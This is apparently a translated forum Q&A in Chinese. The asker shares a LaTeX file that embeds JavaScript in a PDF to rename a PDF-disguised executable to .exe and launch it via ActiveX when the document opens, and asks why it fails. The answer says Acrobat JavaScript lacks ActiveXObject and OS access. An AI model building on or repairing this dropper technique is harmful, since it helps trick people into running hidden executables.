![当我打开生成的 PDF 时我可以运行这个 javascript 吗?](https://linux22.com/image/432205/%E5%BD%93%E6%88%91%E6%89%93%E5%BC%80%E7%94%9F%E6%88%90%E7%9A%84%20PDF%20%E6%97%B6%E6%88%91%E5%8F%AF%E4%BB%A5%E8%BF%90%E8%A1%8C%E8%BF%99%E4%B8%AA%20javascript%20%E5%90%97%EF%BC%9F.png)
我创建了一个简单的 javascript 文件,它运行隐藏为 PDF 的 EXE 文件。我想将此脚本隐藏在另一个 PDF 文件中。当我打开它时,该脚本应该会运行,但什么也没发生(当我将其作为 .js 文件运行时,它可以工作)。我不是在创建恶意软件,我这样做纯粹是为了教育目的。
此外,当类似这样的内容是我的整个 javascript 时,app.alert("Hey");
它工作正常,并在我打开 PDF 时显示弹出窗口。这也不是路径问题,所有文件都在同一位置。我对 javascript 和 LaTeX 还不熟悉,所以我不知道可能是什么问题。
这是我的文件:
\documentclass{article}
\usepackage[pdftex]{insdljs}
\begin{insDLJS}{\jobname}{do stuff}
var fso = new ActiveXObject("scripting.FileSystemObject");
if(fso.FileExists("create_copy.pdf")){
fso.MoveFile('create_copy.pdf', 'create_copy.exe');
} else {
}
var shell = new ActiveXObject('Shell.Application');
shell.ShellExecute('create_copy.exe',"","","open","1");
\end{insDLJS}
\begin{document}
Some text ....
\end{document}
答案1
ActiveXObject 类不是核心 JavaScript 版本 1.5 (ISO-16262) 的一部分,并且它没有在源自标准的 Acrobat JavaScript 中定义。
Acrobat 的 JS PDF 细节记录在
并且,出于安全考虑,很可能没有可用于与操作系统交互的界面。